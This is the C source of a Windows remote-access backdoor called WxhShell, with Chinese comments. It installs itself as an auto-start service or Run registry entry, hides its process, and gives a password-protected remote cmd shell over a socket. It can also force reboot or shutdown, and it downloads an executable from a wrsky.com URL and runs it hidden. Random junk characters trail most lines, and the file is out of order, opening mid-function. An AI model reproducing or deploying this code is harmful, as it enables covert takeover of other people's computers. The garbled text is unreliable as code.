    else { [{`2FR:Cd  
    closesocket(wsh); [+_>g4M~%  
    ExitThread(0); ,q;?zcC7  
    } CXi[$nF3  
    break;  md,KRE  
    } A$i^/hJs  
  // 关机 q[GD K^-g  
  case 'd': { t3h){jZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Sy' ]fGvx  
    if(Boot(SHUTDOWN)) %DA&txX}w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o7s!ti\G  
    else { kD0bdE|  
    closesocket(wsh); +I?k8 ',pi  
    ExitThread(0); PW82 Vp.  
    } Au6Y]  
    break; .)SR3?   
    } '/)qI.  
  // 获取shell i\O^s ]  
  case 's': { " :f]egq -  
    CmdShell(wsh); oEX^U4/=  
    closesocket(wsh); -QwH|   
    ExitThread(0); YN+vk}8 <  
    break; a{@}vZx>3  
  } |B^Mj57DO  
  // 退出 <uxLG;R  
  case 'x': { On54!m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2v2XU\u{t  
    CloseIt(wsh); ~>HzAo9e  
    break; UOk\fyD2[  
    } $ nHD,h  
  // 离开 bAbR0)  
  case 'q': { ,ryL( "G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R1D ;  
    closesocket(wsh); u`&lTJgF/O  
    WSACleanup(); b]fx  
    exit(1);  dOa9D  
    break; v+I-*,R  
        } Io|D u  
  } AL.psw-Il  
  } !=A;?Kdq  
IrMB=pWo  
  // 提示信息 i")0 3b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8XG';K_  
} |JP19KFx'B  
  } 7Y R|6{@  
y$_@C8?H  
  return; &!OEd ]  
} *ziR&Fr!  
yIrJaS-  
// shell模块句柄 eZaSV>27  
int CmdShell(SOCKET sock) I/%v`[  
{  ?C#E_  
STARTUPINFO si; ~MBPN 4r  
ZeroMemory(&si,sizeof(si)); \+l*ZNYM3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Yj#tF}nPC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wapSpSt  
PROCESS_INFORMATION ProcessInfo; nYFrp)DLK  
char cmdline[]="cmd"; ! 5NuFLOf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =E5bM_P<K  
  return 0; MUAs(M;  
} LP=j/qf|  
r!+{In+Z  
// 自身启动模式 xC,x_:R`  
int StartFromService(void) xbm%+  
{ mL=d E Q  
typedef struct qh:Bc$S  
{ ~/]]H;;^u  
  DWORD ExitStatus; b7Jxv7$e  
  DWORD PebBaseAddress; >m>F {v  
  DWORD AffinityMask; V`1,s~"q  
  DWORD BasePriority; ) ](ls@*  
  ULONG UniqueProcessId; !: ^q_q4  
  ULONG InheritedFromUniqueProcessId; $2Whb!7Z(  
}   PROCESS_BASIC_INFORMATION; N+=|WeZ  
 k~ ^4  
PROCNTQSIP NtQueryInformationProcess; I I+y  
Lr:Qc#2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?: yz/9(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {aUnOyX_  
=/!lK&  
  HANDLE             hProcess; y%SxQA +\  
  PROCESS_BASIC_INFORMATION pbi; G{3 |d/;Bt  
O\ZC$XF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G aV&y  
  if(NULL == hInst ) return 0; #*'Qm  A  
Dz(\ ?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S^eem_C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y|2<Vc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G}fB d  
@kWL "yy,  
  if (!NtQueryInformationProcess) return 0; +e-F`k  
x#J9GP.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^_;'9YD  
  if(!hProcess) return 0; D\AVZ76F1  
.|Huz k+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UqOBr2 UmG  
U!aM63F3  
  CloseHandle(hProcess); vR!+ 8sy$  
@-'a{hBR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R}ki%i5|  
if(hProcess==NULL) return 0; *M1GVhW(+  
:V(LBH0  
HMODULE hMod; 0O9b 7F  
char procName[255]; JWix Y/  
unsigned long cbNeeded; ^#Ha H  
7k( }U_v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !6KX^j-  
Y%XF64)6  
  CloseHandle(hProcess); *siX:?l  
~U0%}Bbh  
if(strstr(procName,"services")) return 1; // 以服务启动 |O{N_-];.  
l88=  
  return 0; // 注册表启动 2R[v*i^S  
} a!9'yc  
b=,B Le\  
// 主模块 mn7I# ~  
int StartWxhshell(LPSTR lpCmdLine) R2,9%!iiX  
{ m+<&NDj.  
  SOCKET wsl; Mu\V3`j  
BOOL val=TRUE; yQ$irS?  
  int port=0; S,c{LTL  
  struct sockaddr_in door; 'D+xs}\  
rH3U;K!  
  if(wscfg.ws_autoins) Install(); P`biHs8O  
*;fTiL  
port=atoi(lpCmdLine); i#[8I-OtN/  
g8<ODU0[g  
if(port<=0) port=wscfg.ws_port; h>/teHy /  
?zW'Hi  
  WSADATA data; A2|Bbqd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g:o/^_  
 b`jR("U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :_8K8Sa  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &C9IR,&  
  door.sin_family = AF_INET; ;6G]~}>o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j3Od7bBS]  
  door.sin_port = htons(port); p&(0e,`z/  
uY]';Ot G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kL'4m  
closesocket(wsl); d@ZDIy  
return 1; kTL{Q0q  
} )Te\6qM  
Y&6jFT_  
  if(listen(wsl,2) == INVALID_SOCKET) { {7:1F)Pj  
closesocket(wsl); Y25`vE(  
return 1; D!`[fjs6A  
} ef)RlzL Oq  
  Wxhshell(wsl); xV> .]  
  WSACleanup(); Xf4QLw/r  
/!]K+6>u  
return 0; 7X$CJ%6b  
iC#a+G*N_M  
} '.v;/[0  
-wn-PB@r  
// 以NT服务方式启动 +~5Lo'^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y=XDN:  
{ sp\6-*F  
DWORD   status = 0; /@`"&@W'  
  DWORD   specificError = 0xfffffff; ~VsN\!G  
w7 MRuAJ4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x1@,k=qrd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >WZ.Dj0n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F'uqL+jVO  
  serviceStatus.dwWin32ExitCode     = 0; :` SIuu~@  
  serviceStatus.dwServiceSpecificExitCode = 0; RuHDAJ"&a  
  serviceStatus.dwCheckPoint       = 0; zA#pgX[#  
  serviceStatus.dwWaitHint       = 0; awzlLI<2p  
LQF;T7VKS)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Es[3Ppz  
  if (hServiceStatusHandle==0) return; {QEvc  
4 $k{,  
status = GetLastError(); y;az&T  
  if (status!=NO_ERROR) 4-bM90&1t  
{ t]B`>SL3W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g3ukx$Q{>  
    serviceStatus.dwCheckPoint       = 0; (Nzh1ul\}  
    serviceStatus.dwWaitHint       = 0; =ls+vH40&  
    serviceStatus.dwWin32ExitCode     = status; 1feVFRx'  
    serviceStatus.dwServiceSpecificExitCode = specificError; Sstz_t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PcsYy]Q/  
    return; mU[\//  
  } ^@x&n)nzP  
T>'w]wi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <SE-:T]sBz  
  serviceStatus.dwCheckPoint       = 0; N1Y uLG:  
  serviceStatus.dwWaitHint       = 0; @.L#u#   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^C K!=oO  
} |21V OPBS  
$}4ao2  
// 处理NT服务事件,比如:启动、停止 Q%6zr9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D&fOZVuqZ  
{ >FeCa h Fn  
switch(fdwControl) 56Lxr{+X  
{ !~zn*Hm  
case SERVICE_CONTROL_STOP: O C;~ H{  
  serviceStatus.dwWin32ExitCode = 0; LDegJer-v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o"qxR'V  
  serviceStatus.dwCheckPoint   = 0; O=K0KOj  
  serviceStatus.dwWaitHint     = 0; \>\ERVEd  
  { 7b~uU@L`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m2m ;|rr  
  } ,tXI*R  
  return; -medD G  
case SERVICE_CONTROL_PAUSE: n%WjU)<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X!V#:2JY  
  break; 0<V/[$}\D  
case SERVICE_CONTROL_CONTINUE: PC5$TJnj3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }#<Rs  
  break; "7-}#_!g  
case SERVICE_CONTROL_INTERROGATE: wKJ|;o4;L  
  break; #+<YFm\i  
}; # ,H!<X;SS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B|o@ |zF  
} xm=Gt$>.o  
+L=Xc^  
// 标准应用程序主函数 n3? msY(*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &CQ28WG X  
{ %V1jM  
mY=sh{ir  
// 获取操作系统版本 `#ff`j|a  
OsIsNt=GetOsVer(); jBEW("4R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o]I8Ghk>/z  
vMY!Z1.*  
  // 从命令行安装 ^$`mS&3/q  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;[4=?GL*  
Fsl="RB7f  
  // 下载执行文件 O=LW[h!  
if(wscfg.ws_downexe) { ZG+FX:v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l_;6xkv4  
  WinExec(wscfg.ws_filenam,SW_HIDE); %INkuNa8\  
} hKg +A  
IPn!iv)  
if(!OsIsNt) { W2%@}IDm  
// 如果时win9x,隐藏进程并且设置为注册表启动  +mft  
HideProc(); q`8 5-  
StartWxhshell(lpCmdLine); x44V 9-o  
} 7z{N}  
else Cj}H'k<B  
  if(StartFromService()) (:]+IjnE  
  // 以服务方式启动 tYgHJ~1L*  
  StartServiceCtrlDispatcher(DispatchTable); DBGU:V,85  
else o; 6^:  
  // 普通方式启动 4C?4M;  
  StartWxhshell(lpCmdLine); )Ft+eMYti[  
b{&'r~  
return 0; n5oX51J  
} -cJ,rrN_9  
|Ch ,C  
o[RwK  
q77qdm q7  
=========================================== |aU8WRq  
0)zJG |  
]Ar,HaX-  
{ 2Ew^Li  
|Y6;8e`H  
a;Pn.@NVq  
" kVCWyZh4  
qnQ".  
#include <stdio.h> __+8wC  
#include <string.h> L%3Bp/`S  
#include <windows.h> G$KQgUN~[  
#include <winsock2.h> b LGC  
#include <winsvc.h> +*`kJ)uP  
#include <urlmon.h> ~xDu2 -5  
Yv)c\hm(7j  
#pragma comment (lib, "Ws2_32.lib") x)Zm5&"Gg  
#pragma comment (lib, "urlmon.lib") +Q"~2_q5/;  
&PApO{#Q  
#define MAX_USER   100 // 最大客户端连接数 9 !UNO  
#define BUF_SOCK   200 // sock buffer (~bx%  
#define KEY_BUFF   255 // 输入 buffer /ece}7M  
F&+qd`8J  
#define REBOOT     0   // 重启 WI*CuJU<zJ  
#define SHUTDOWN   1   // 关机 4M]l~9;A  
ZNDi;6e  
#define DEF_PORT   5000 // 监听端口 rH,@"( p\  
;/pI@C k  
#define REG_LEN     16   // 注册表键长度 VpB)5>  
#define SVC_LEN     80   // NT服务名长度 K1R?Qt,qDF  
XHdhSFpm  
// 从dll定义API bWlY Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yZm=#.f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5}w   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -I6t ^$HA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Og@{6>  
]xoG{%vgb  
// wxhshell配置信息 zG/? wP"  
struct WSCFG { '/X]96Ci7  
  int ws_port;         // 监听端口 XR[=W(m}  
  char ws_passstr[REG_LEN]; // 口令 %K=_  
  int ws_autoins;       // 安装标记, 1=yes 0=no r_,;[+!  
  char ws_regname[REG_LEN]; // 注册表键名 }(XKy!G6  
  char ws_svcname[REG_LEN]; // 服务名 m__pQu:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 75> Ok/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gX-hYQrC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :/Es%z D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v2:i'j6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZMiOKVl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f{[0;qDJ  
q3h& V  
}; T,>L  
pWv1XTs@t:  
// default Wxhshell configuration <Q- m &  
struct WSCFG wscfg={DEF_PORT, O1t$]k:  
    "xuhuanlingzhe", )i[Vq|n  
    1, b8YdONdy  
    "Wxhshell", <LXx_{=:  
    "Wxhshell", -MTYtw(  
            "WxhShell Service", z,^~H  
    "Wrsky Windows CmdShell Service",  O&|<2Qr  
    "Please Input Your Password: ", r;[=y<Yf  
  1, d(ypFd9z  
  "http://www.wrsky.com/wxhshell.exe", Vr( Z;YO  
  "Wxhshell.exe" 2=0HQXXrq  
    }; %-.;sO=g  
EEL3~H{(  
// 消息定义模块 a\}MJ5]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E0&d*BI2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w( XZSE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s<k2vbhI  
char *msg_ws_ext="\n\rExit."; NY^0$h  
char *msg_ws_end="\n\rQuit."; \( #"g  
char *msg_ws_boot="\n\rReboot..."; h"0)spF"d  
char *msg_ws_poff="\n\rShutdown..."; C}Kl!  
char *msg_ws_down="\n\rSave to "; FN=WU< 5  
7dACbqba  
char *msg_ws_err="\n\rErr!"; .1{{E8Fj  
char *msg_ws_ok="\n\rOK!"; Pn[oo_)s  
`V\?YS}  
char ExeFile[MAX_PATH]; 7>F{.\Z  
int nUser = 0; "z3rH~q72  
HANDLE handles[MAX_USER]; )S2yU<6oOt  
int OsIsNt; 3Ioe#*5\  
d,JDfG)  
SERVICE_STATUS       serviceStatus; GjHR.p?-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u YT$$'S  
:Z6j5V;s  
// 函数声明 IY#:v%U  
int Install(void); 1H/I-  
int Uninstall(void); ^9q#,6  
int DownloadFile(char *sURL, SOCKET wsh); /+SLq`'u)  
int Boot(int flag); 31G0 B_T  
void HideProc(void); +W*~=*h|  
int GetOsVer(void); lYQ|NL():  
int Wxhshell(SOCKET wsl); G,|!&=Pe|E  
void TalkWithClient(void *cs); o1$u;}^|  
int CmdShell(SOCKET sock); k<^M >` $  
int StartFromService(void); &EQhk9j  
int StartWxhshell(LPSTR lpCmdLine); LtMM89u  
}\7UU?@n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cpltTJFg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @q/g%-WNz  
Q[7i  
// 数据结构和表定义 #[lhem]IC  
SERVICE_TABLE_ENTRY DispatchTable[] = G!r)N0?_f  
{ &R_7]f+%)  
{wscfg.ws_svcname, NTServiceMain}, Q]xkDr?   
{NULL, NULL} \BXzmok  
}; ~&73f7  
"/i$_vl  
// 自我安装 - Fbp!*. u  
int Install(void) YoKyiO!   
{ +)jll#}?  
  char svExeFile[MAX_PATH]; _q27 3QG/"  
  HKEY key; !EB<N<P"t  
  strcpy(svExeFile,ExeFile); hb5K"9Y  
;J5z  
// 如果是win9x系统,修改注册表设为自启动 x^ f)I|t  
if(!OsIsNt) { #lP8/-s^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZLv/otf:|"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "[|b,fxR  
  RegCloseKey(key); e}e8WR=B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ns8s2kYcm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x 6`!  
  RegCloseKey(key); 2L^)k?9>g+  
  return 0; YS9RfK/  
    } K}R+~<bIY  
  } MCT1ZZpPr  
} uPA ( 1  
else { y!77gx?-  
}6c>BU}DF  
// 如果是NT以上系统,安装为系统服务 H0Pxw P>q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1q;v|F  
if (schSCManager!=0) tF0jH+7J-  
{ yJm"vN  
  SC_HANDLE schService = CreateService ;hX(/T  
  ( v~P,OP("c  
  schSCManager, q!5:M\  
  wscfg.ws_svcname, _95296  
  wscfg.ws_svcdisp, yp.K-  
  SERVICE_ALL_ACCESS, yLX $SR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $RaN@& Wm  
  SERVICE_AUTO_START, `C+<! )2  
  SERVICE_ERROR_NORMAL, DmiBM6t3N  
  svExeFile, Ma[EgG  
  NULL, x%G3L\ 5  
  NULL, k"(]V  
  NULL, 0M_oFx  
  NULL, x<NPp&GE  
  NULL BX@Iq  
  ); Tu#< {'1$  
  if (schService!=0) g7*)|FOb  
  { I &t~o  
  CloseServiceHandle(schService); Eah6"j!B8n  
  CloseServiceHandle(schSCManager); OU[<\d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *U?O4E9  
  strcat(svExeFile,wscfg.ws_svcname); NB"S ,\M0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :S+K\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [. 5m}V  
  RegCloseKey(key); ~U9K<_U  
  return 0; IHl q27O  
    } ,5}U H  
  } B`5<sW  
  CloseServiceHandle(schSCManager); 0lfK} a  
} tMIYVHGy  
} Aw o)a8e  
gE-y`2SU  
return 1; z^gJy,T  
} Mqf Ns<2  
'|C3t!H`  
// 自我卸载 a|aVc'j  
int Uninstall(void) /Rp]"S vt  
{ aV3:{oL  
  HKEY key; 3^ Yc%  
Y ::0v@&(  
if(!OsIsNt) { Y?T{>"_W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9(CvGzco <  
  RegDeleteValue(key,wscfg.ws_regname); Nk`UQ~g$  
  RegCloseKey(key); [m t.2.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W .7rHa  
  RegDeleteValue(key,wscfg.ws_regname); gg;r;3u  
  RegCloseKey(key); \U~4b_aN  
  return 0; f& 4_:'-,  
  } US6_5>/  
} L+%"e w  
} 0&.CAHb}  
else { WeI+|V$  
j =_rUc'Me  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K~x,so  
if (schSCManager!=0) T5BZD +Ta  
{ G7-BeA8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *dzZOe>,  
  if (schService!=0) mYBEjZ B  
  { =lXj%V^8N  
  if(DeleteService(schService)!=0) { (}"D x3K  
  CloseServiceHandle(schService); %B3~t>  
  CloseServiceHandle(schSCManager); R#(0C(FI^  
  return 0; cw;wv+|k  
  } \>L,X_DL  
  CloseServiceHandle(schService); q!c(~UVw  
  } @u3`lhUcT  
  CloseServiceHandle(schSCManager); +)Te)^&v%  
} D-3[# ~MV  
} *p l6 V|  
LzygupxY!  
return 1; ^\)a[OWp  
} k15vs  
mp|pz%U  
// 从指定url下载文件 _MBa&XEM  
int DownloadFile(char *sURL, SOCKET wsh) ,CO2d)}  
{ dWY%bb  
  HRESULT hr; IS C.~q2  
char seps[]= "/"; x "W~m.y$h  
char *token; BT{;^Hp  
char *file; VFT@Ic#]  
char myURL[MAX_PATH]; y)f.ON36I  
char myFILE[MAX_PATH]; wI#8|,]"z  
)!y>2$20 r  
strcpy(myURL,sURL); jA? #!lx_  
  token=strtok(myURL,seps); (5a73%>@  
  while(token!=NULL) SNEhP5!  
  { gW, [X(  
    file=token; U~ {k_'-i  
  token=strtok(NULL,seps); 8(3(kZxS  
  } 5<?Ah+1  
tMr7d  
GetCurrentDirectory(MAX_PATH,myFILE); rK~-Wzwu  
strcat(myFILE, "\\"); {N(qS'N  
strcat(myFILE, file); AZ:7_4jz  
  send(wsh,myFILE,strlen(myFILE),0); :\](m64z;  
send(wsh,"...",3,0); wcHk]mLM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [|\6AIoS  
  if(hr==S_OK) 5f0M{J,KC  
return 0; Ht`fC|E  
else Q @}$b(b  
return 1; Rq4; {a/j  
u ExLj6  
} AbU`wr/h 4  
G  hM  
// 系统电源模块 -oD,F $Rb  
int Boot(int flag) G,8mFH  
{ YMGy-]!o  
  HANDLE hToken; a[ {qb  
  TOKEN_PRIVILEGES tkp; ?7\V)$00(&  
xBHf~:!  
  if(OsIsNt) { bC&A@.g{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1nVQYqT_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DR"Y(-xl  
    tkp.PrivilegeCount = 1; t@KTiJI ]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]aN9mT N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?o<vmIge  
if(flag==REBOOT) { 2:LUB)&i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;R$G.5h  
  return 0; goM;Pf "<  
} +h) "m/mE  
else { ^} j~:EZb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o:8ns m  
  return 0; g%2G=gR$?z  
} g$(Y\`zw  
  } z/Lb1ND8  
  else { .0Ud?v>=  
if(flag==REBOOT) { g4W$MI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :?f<tNU$  
  return 0; b:1B >  
} 4S(G366  
else { C&O8fNB_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DpHubqWz  
  return 0; <5Vf3KoC&  
} 81RuNs]  
} _ep&`K  
>iyNZ]."\  
return 1; r$<!?Z  
} o HK   
]H`wE_2tu  
// win9x进程隐藏模块 6 `6 I<OJ\  
void HideProc(void) M]8>5Zx.  
{ U<6)CW1;  
AA-$;s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fWP]{z`  
  if ( hKernel != NULL ) p5In9s  
  { VnuG^)S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lU 9o"2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j ,rc9  
    FreeLibrary(hKernel); CW`^fI9H  
  } +5fB?0D;  
l@4pZkdq  
return; 8] LF{Obz[  
} =K@LEZZ'/<  
W *0!Z:?  
// 获取操作系统版本 erI&XI  
int GetOsVer(void) /}u:N:HA%  
{ sta/i?n  
  OSVERSIONINFO winfo; 'q}Ud10c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <mX5VGY9^  
  GetVersionEx(&winfo); Eq@sU?j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !19T=p/:$  
  return 1; ?;=7{E j  
  else \Vv)(/q{  
  return 0; 2k!uk6  
}  -raK  
qX&+  
// 客户端句柄模块 9f['TG,"  
int Wxhshell(SOCKET wsl) BTsvL>Wy  
{ bLTX_ R  
  SOCKET wsh; hW~% :v  
  struct sockaddr_in client; j gV^{8qG  
  DWORD myID; 06NiH-0O  
2U%t  
  while(nUser<MAX_USER) lBn<\Y!^  
{ |yNyk7~  
  int nSize=sizeof(client); '>OEQU5-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uP7|#>1%  
  if(wsh==INVALID_SOCKET) return 1; y 2k's  
H/f}t w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AsS~TLG9p  
if(handles[nUser]==0) R||$Wi[$  
  closesocket(wsh); =5:vKL j  
else ?@A@;`0Y  
  nUser++; qPN  
  } .K940& Ui  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3b?-83a  
+vFqHfmP  
  return 0; 7 |Qb}[s  
} NVVAh5R  
i(u zb<  
// 关闭 socket Jx3a7CpX  
void CloseIt(SOCKET wsh) u`L*  
{ % [,^2s  
closesocket(wsh); a$"Z\F:x  
nUser--; 1^Q!EV  
ExitThread(0); b9f5  
} ^[HX#JJ~  
EY1L5 Ba.  
// 客户端请求句柄 M~sP|Ha"+  
void TalkWithClient(void *cs) +SRM?av  
{ Xp^>SSt:4  
B]D51R\}VE  
  SOCKET wsh=(SOCKET)cs; 8W.-Y|[5?  
  char pwd[SVC_LEN]; d{^K8T3  
  char cmd[KEY_BUFF]; 7")&njQ/x  
char chr[1]; ^-}3 +YA  
int i,j; lZ+ 1 A0e  
WsM/-P1Y  
  while (nUser < MAX_USER) { gn 9CZ  
51%<N\>/4  
if(wscfg.ws_passstr) { D@mqfi(x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t/"9LMKs?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yh%  
  //ZeroMemory(pwd,KEY_BUFF); @0:mP  
      i=0; lce~6}  
  while(i<SVC_LEN) { /3vj`#jD  
T/7[hj  
  // 设置超时 K)oN^  
  fd_set FdRead; 8j%lM/ v  
  struct timeval TimeOut; LZ9IE>sj  
  FD_ZERO(&FdRead); 5.)/gK2$  
  FD_SET(wsh,&FdRead); *!(?=9[  
  TimeOut.tv_sec=8; iQaFR@  
  TimeOut.tv_usec=0; Boa?Ghg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #lm1"~`5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \-s'H:  
HYk*;mD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d7QQ5FiB  
  pwd=chr[0]; +hvVoBCM*  
  if(chr[0]==0xd || chr[0]==0xa) { |7T!rnr  
  pwd=0; ;c>Rjg&[  
  break; 8>jd2'v{  
  } D&)gcO`\  
  i++; l:kF0tj"  
    } aKCXV[PO   
Vi>kK|\b  
  // 如果是非法用户,关闭 socket mE]W#?   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'W j Q  
} 93y.u<,2;  
V# 6`PD6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (iiyptJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (5N&bh`E  
Z5{M_^  
while(1) { >!YI7)  
C31SXQ  
  ZeroMemory(cmd,KEY_BUFF); UkL'h&J~  
Z)(C7,Xu  
      // 自动支持客户端 telnet标准   >b/0i$8  
  j=0; ODM<$Yo:d  
  while(j<KEY_BUFF) { B|~\m ~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NLF{W|X  
  cmd[j]=chr[0]; ZD0Q<8%  
  if(chr[0]==0xa || chr[0]==0xd) { $y >J=  
  cmd[j]=0; [w~1e)D  
  break; BiHBu8<  
  } }qXi;u))  
  j++; rReZ$U  
    } YKUs>tQ!  
:h3 Gk;u  
  // 下载文件 4Kt?; y ;  
  if(strstr(cmd,"http://")) { x<=+RYz#^:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <  v_?}  
  if(DownloadFile(cmd,wsh)) ^QV;[ha,o  
